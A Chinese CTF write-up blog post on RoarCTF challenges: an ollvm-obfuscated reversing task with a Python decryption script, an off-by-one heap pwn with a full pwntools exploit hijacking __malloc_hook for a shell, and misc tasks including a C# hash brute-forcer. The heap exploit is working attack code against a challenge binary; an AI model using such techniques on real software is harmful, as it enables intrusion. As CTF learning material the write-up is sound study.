这次Roarctf 很可惜 ,,, 不过这次也算做出来了一些题目 决心把不会的题目好好看看 会的写到这篇博客 不会的保存下来
以后留下来好好看看,,
估计需要几天更新 这几天都有些忙 = =
RE:
polyre
这个题目ollvm 如果不用脚本 就直接走远了,800多行代码 ,, 顶不住,。。
用 deflat 搞一下
去除后的效果
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 v4; // [rsp+1E0h] [rbp-110h]
int i; // [rsp+1E8h] [rbp-108h]
int v6; // [rsp+1ECh] [rbp-104h]
int v7; // [rsp+1ECh] [rbp-104h]
char s1[48]; // [rsp+1F0h] [rbp-100h]
char s[60]; // [rsp+220h] [rbp-D0h]
unsigned int v10; // [rsp+25Ch] [rbp-94h]
char *v11; // [rsp+260h] [rbp-90h]
int v12; // [rsp+26Ch] [rbp-84h]
bool v13; // [rsp+272h] [rbp-7Eh]
unsigned __int8 v14; // [rsp+273h] [rbp-7Dh]
int v15; // [rsp+274h] [rbp-7Ch]
char *v16; // [rsp+278h] [rbp-78h]
int v17; // [rsp+284h] [rbp-6Ch]
int v18; // [rsp+288h] [rbp-68h]
bool v19; // [rsp+28Fh] [rbp-61h]
char *v20; // [rsp+290h] [rbp-60h]
int v21; // [rsp+298h] [rbp-58h]
bool v22; // [rsp+29Fh] [rbp-51h]
__int64 v23; // [rsp+2A0h] [rbp-50h]
bool v24; // [rsp+2AFh] [rbp-41h]
__int64 v25; // [rsp+2B0h] [rbp-40h]
__int64 v26; // [rsp+2B8h] [rbp-38h]
__int64 v27; // [rsp+2C0h] [rbp-30h]
__int64 v28; // [rsp+2C8h] [rbp-28h]
int v29; // [rsp+2D0h] [rbp-20h]
int v30; // [rsp+2D4h] [rbp-1Ch]
char *v31; // [rsp+2D8h] [rbp-18h]
int v32; // [rsp+2E0h] [rbp-10h]
int v33; // [rsp+2E4h] [rbp-Ch]
bool v34; // [rsp+2EBh] [rbp-5h]
v10 = 0;
memset(s, 0, 0x30uLL);
memset(s1, 0, 0x30uLL);
printf("Input:", 0LL);
v11 = s;
if ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 )
goto LABEL_43;
while ( 1 )
{
__isoc99_scanf("%s", v11);
v6 = 0;
if ( dword_603058 < 10 || ((dword_603054 - 1) * dword_603054 & 1) == 0 )
break;
LABEL_43:
__isoc99_scanf("%s", v11);
}
while ( 1 )
{
do
v12 = v6;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
v13 = v12 < 64;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 )
;
if ( !v13 )
break;
v14 = s[v6];
do
v15 = v14;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
if ( v15 == 10 )
{
v16 = &s[v6];
*v16 = 0;
break;
}
v17 = v6 + 1;
do
v6 = v17;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
}
for ( i = 0; ; ++i )
{
do
v18 = i;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
do
v19 = v18 < 6;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
if ( !v19 )
break;
do
v20 = s;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
v4 = *&v20[8 * i]; // 8位一个整数 然后不大于6 也就是一共48个字符 和下面的对应
v7 = 0;
while ( 1 )
{
v21 = v7;
do
v22 = v21 < 64;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
if ( !v22 )
break; // 大于64退出这个循环
v23 = v4;
v24 = v4 < 0;
if ( v4 >= 0 )
{
v27 = v4;
do
v28 = 2 * v27; // 大于0 *2
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
v4 = v28;
}
else
{
v25 = 2 * v4; // 小于 0 *2
do
v26 = v25;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
v4 = v26 ^ 0xB0004B7679FA26B3LL; // 异或一个常数
}
v29 = v7;
do
v7 = v29 + 1;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
}
v30 = 8 * i;
v31 = &s1[8 * i];
if ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 )
LABEL_55:
*v31 = v4;
*v31 = v4;
if ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 )
goto LABEL_55;
v32 = i + 1;
}
do
v33 = memcmp(s1, &unk_402170, 0x30uLL); // 对比字符串 做最后的判定
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 );
v34 = v33 != 0;
while ( dword_603058 >= 10 && ((dword_603054 - 1) * dword_603054 & 1) != 0 )
;
if ( v34 )
puts("Wrong!");
else
puts("Correct!");
return v10;
}
程序的基本逻辑我都给注释出来了 。
重点来喽
这个程序的逻辑就是
循环输入字符
字符8位一组 一共6组
然后就是 循环64次 大于0 就*2 小于0 就 *2^ 0xB0004B7679FA26B3LL
接下来就是 写脚本逆向算法了
不过这个逆向脚本我想了很久,。。
重点就是怎么恢复那个 被覆盖的那个数字 那个bit 我们并不知道是0 或者是1
然后 突然想起来了 小于0 就 是那个循环 == 小于0 那么就可以用直接+1 就是让bit 直接变成1就行 如果是小于0的情况
下面就是完整的脚本
listcmp=[0x96,0x62,0x53,0x43,0x6D,0xF2,0x8F,0xBC,0x16,0xEE,0x30,
0x05,0x78,0x00,0x01,0x52,0xEC,0x08,0x5F,0x93,0xEA,0xB5,
0xC0,0x4D,0x50,0xF4,0x53,0xD8,0xAF,0x90,0x2B,0x34,0x81,
0x36,0x2C,0xAA,0xBC,0x0E,0x25,0x8B,0xE4,0x8A,0xC6,0xA2,
0x81,0x9F,0x75,0x55]
def decrypt(en_int):
for i in range(64):
if en_int%2==1:
en_int^=0xB0004B7679FA26B3
en_int=en_int//2
en_int+=0x8000000000000000
else:
en_int=en_int//2
return en_int
lists=[]
strl=""
if __name__ =="__main__":
for i in range(6):
ls=listcmp[i*8:i*8+8]
#print(ls)
ls=ls[::-1]
strl="0x"
for j in ls:
t=hex(j)[2:]
if len(t)==1:
t='0'+t
strl+=t
#print(strl)
flag=((decrypt(int(strl,16)).to_bytes(8, 'little')))
strl=""
for i in range(8):
strl+=chr(flag[i])
print(strl,end="")
PWN:
easy pwn
这个没有啥好说的 就是一道 off by one 的题目 伪造 堆块 堆块重贴就ok
然后有个姿势点就是 报错信息 会使用malloc 所以 可以 劫持 malloc_hook 然后就可以gogo了
运行本地脚本 ==
import sys
from pwn import *
context.log_level='debug'
#context.arch='amd64'
io=process('./easy_pwn')
elf=ELF('./easy_pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(a):
io.sendlineafter(': ','1')
io.sendlineafter(': ',str(a))
def edit(a,b,c):
io.sendlineafter(': ','2')
io.sendlineafter(': ',str(a))
io.sendlineafter(': ',str(b))
io.sendlineafter(': ',c)
def show(a):
io.sendlineafter(': ','4')
io.sendlineafter(': ',str(a))
def delete(a):
io.sendlineafter(': ','3')
io.sendlineafter(': ',str(a))
add(0x90)
add(0x18)
add(0x18)
add(0x80)
add(0x18)
delete(0)
edit(2,0x22,'2'*0x10+p64(0xe0)+'\x90')
delete(3)
add(0x90)
show(1)
io.recv(9)
malloc_hook_addr=u64(io.recv(6)+"\x00\x00")-0x10-88
libc.address=malloc_hook_addr-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc.address))
success('malloc_hook_addr:'+hex(malloc_hook_addr))
add(0x68)
delete(1)
edit(3,0x68,p64(malloc_hook_addr-0x23)+'\x00'*0x60)
add(0x68)
add(0x68)
#0x45216 0x4526a 0xf02a4 0xf1147
#
#
#
edit(5,0x1b,'a'*0x13+p64(libc.address+0xf02a4))
delete(2)
io.interactive()
Misc
黄金六年
这个题目没有什么好说的
binwalk 没有发现什么可疑的东西 寻找字符串的时候发现了一段可疑的字符串
strings -n 16 黄金6年.mp4
怀疑是 base64
解码 然后 输出到文件
strs="UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQID\
PLAABKEAIEvsUpGAAwAIZmxhZy\
50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJN\
S9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPP\
R6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IIT\
uR+9gIvr/LEdd1ZRAwUEAA=="
flag=base64.b64decode(strs)
with open('get.rar', 'wb') as f:
f.write(flag)
压缩包需要密码。。
然后仔细观察的时候发现了
有了二维码 然后扫了一下
发现是 key1:iwantplayctf
然后拿到flag
TankGame
现在这类的杂项题目好多啊
主要逻辑在里面
然后 发现的是 如果是 改变了 4 或者5 会对比一下 hash值
其中 空是8,基地是0,水是4,草地是5,砖块是1
当时队伍的爆破脚本如下
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
namespace ConsoleApp1
{
class Program
{
static int[,] MapState;
static void Main(string[] args)
{
int[] IntArr = new int[65]; //整型数组
for (int ii = 0; ii < 65; ii++)
IntArr[ii] = ii;
int number = 3;
List ListCombination = PermutationAndCombination.GetCombination(IntArr, number); //求全部的3-3组合
MapState = new int[65, 2]{
{1,5},
{1,6},
{1,7},
{1,8},
{1,9},
{1,10},
{2,3},
{2,7},
{2,11},
{2,13},
{3,8},
{3,13},
{3,14},
{4,7},
{4,8},
{4,11},
{4,14},
{5,7},
{5,9},
{5,13},
{6,3},
{6,12},
{6,14},
{7,1},
{7,4},
{7,7},
{7,8},
{7,15},
{8,2},
{8,6},
{9,0},
{9,1},
{9,8},
{9,13},
{9,15},
{10,1},
{11,0},
{11,1},
{11,3},
{11,7},
{11,12},
{12,8},
{12,9},
{12,12},
{12,14},
{13,1},
{13,2},
{13,7},
{14,4},
{14,10},
{14,13},
{14,15},
{15,1},
{15,2},
{15,12},
{16,2},
{16,3},
{17,4},
{17,8},
{18,4},
{18,7},
{18,10},
{19,2},
{19,12},
{19,13}
};
int[,] map = new int[21, 17]
{
{
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8
},
{
8,
8,
4,
5,
8,
1,
1,
1,
1,
1,
1,
8,
8,
8,
8,
4,
8
},
{
8,
2,
8,
1,
8,
8,
5,
1,
8,
8,
8,
1,
8,
1,
8,
4,
8
},
{
8,
5,
8,
2,
8,
8,
8,
8,
1,
8,
8,
4,
8,
1,
1,
5,
8
},
{
8,
8,
8,
8,
2,
4,
8,
1,
1,
8,
8,
1,
8,
5,
1,
5,
8
},
{
8,
8,
8,
8,
5,
8,
8,
1,
5,
1,
8,
8,
8,
1,
8,
8,
8
},
{
8,
8,
8,
1,
8,
8,
8,
8,
8,
8,
8,
8,
1,
8,
1,
5,
8
},
{
8,
1,
8,
8,
1,
8,
8,
1,
1,
4,
8,
8,
8,
8,
8,
1,
8
},
{
8,
4,
1,
8,
8,
5,
1,
8,
8,
8,
8,
8,
4,
2,
8,
8,
8
},
{
1,
1,
8,
5,
8,
2,
8,
5,
1,
4,
8,
8,
8,
1,
5,
1,
8
},
{
0,
1,
4,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8
},
{
1,
1,
8,
1,
8,
8,
2,
1,
8,
8,
5,
2,
1,
8,
8,
8,
8
},
{
8,
8,
8,
8,
4,
8,
8,
2,
1,
1,
8,
2,
1,
8,
1,
8,
8
},
{
8,
1,
1,
8,
8,
4,
4,
1,
8,
4,
2,
4,
8,
4,
8,
8,
8
},
{
8,
4,
8,
8,
1,
2,
8,
8,
8,
8,
1,
8,
8,
1,
8,
1,
8
},
{
8,
1,
1,
5,
8,
8,
8,
8,
8,
8,
8,
8,
1,
8,
8,
8,
8
},
{
8,
8,
1,
1,
5,
2,
8,
8,
8,
8,
8,
8,
8,
8,
2,
8,
8
},
{
8,
8,
4,
8,
1,
8,
2,
8,
1,
5,
8,
8,
4,
8,
8,
8,
8
},
{
8,
8,
2,
8,
1,
8,
8,
1,
8,
8,
1,
8,
2,
2,
5,
8,
8
},
{
8,
2,
1,
8,
8,
8,
8,
2,
8,
4,
5,
8,
1,
1,
2,
5,
8
},
{
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8,
8
}
};
map[10, 0] = 9;
StringBuilder zfc = new StringBuilder("clearlove9");
int i, j;
for (i = 0; i < 21; i++)
{
for (j = 0; j < 17; j++)
{
zfc.Append(map[i, j].ToString());
}
}
int num = 0;
int num2 = 0;
int num3 = ListCombination.Count;
int m, n;
List save = new List();
foreach (int[] arr in ListCombination)
{
save.Clear();
for (i = 0; i < number; i++)
{
m = MapState[arr[i], 0];
n = MapState[arr[i], 1];
save.Add(zfc[10 + 17 * m + n]);
zfc[10 + 17 * m + n] = '8';
}
string str = Sha1(zfc.ToString());
if (str != "3F649F708AAFA7A0A94138DC3022F6EA611E8D01") //如果不是
{
for (i = 0; i < number; i++)
{
m = MapState[arr[i], 0];
n = MapState[arr[i], 1];
zfc[10 + 17 * m + n] = save[i];
}
}
else
{
Console.WriteLine("RoarCTF{wm-"+ Md5(zfc.ToString()) + "}");
Console.ReadKey();
return;
}
num++;
if (num % (num3 / 100)==0)
{
num2++;
Console.WriteLine("{0}%", num2);
}
}
Console.WriteLine(num);
Console.ReadKey();
return;
}
// Token: 0x0600002A RID: 42 RVA: 0x00002B78 File Offset: 0x00000F78
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = MD5.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString().Substring(0, 10);
}
// Token: 0x0600002B RID: 43 RVA: 0x00002BE8 File Offset: 0x00000FE8
public static string Sha1(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = SHA1.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString();
}
}
}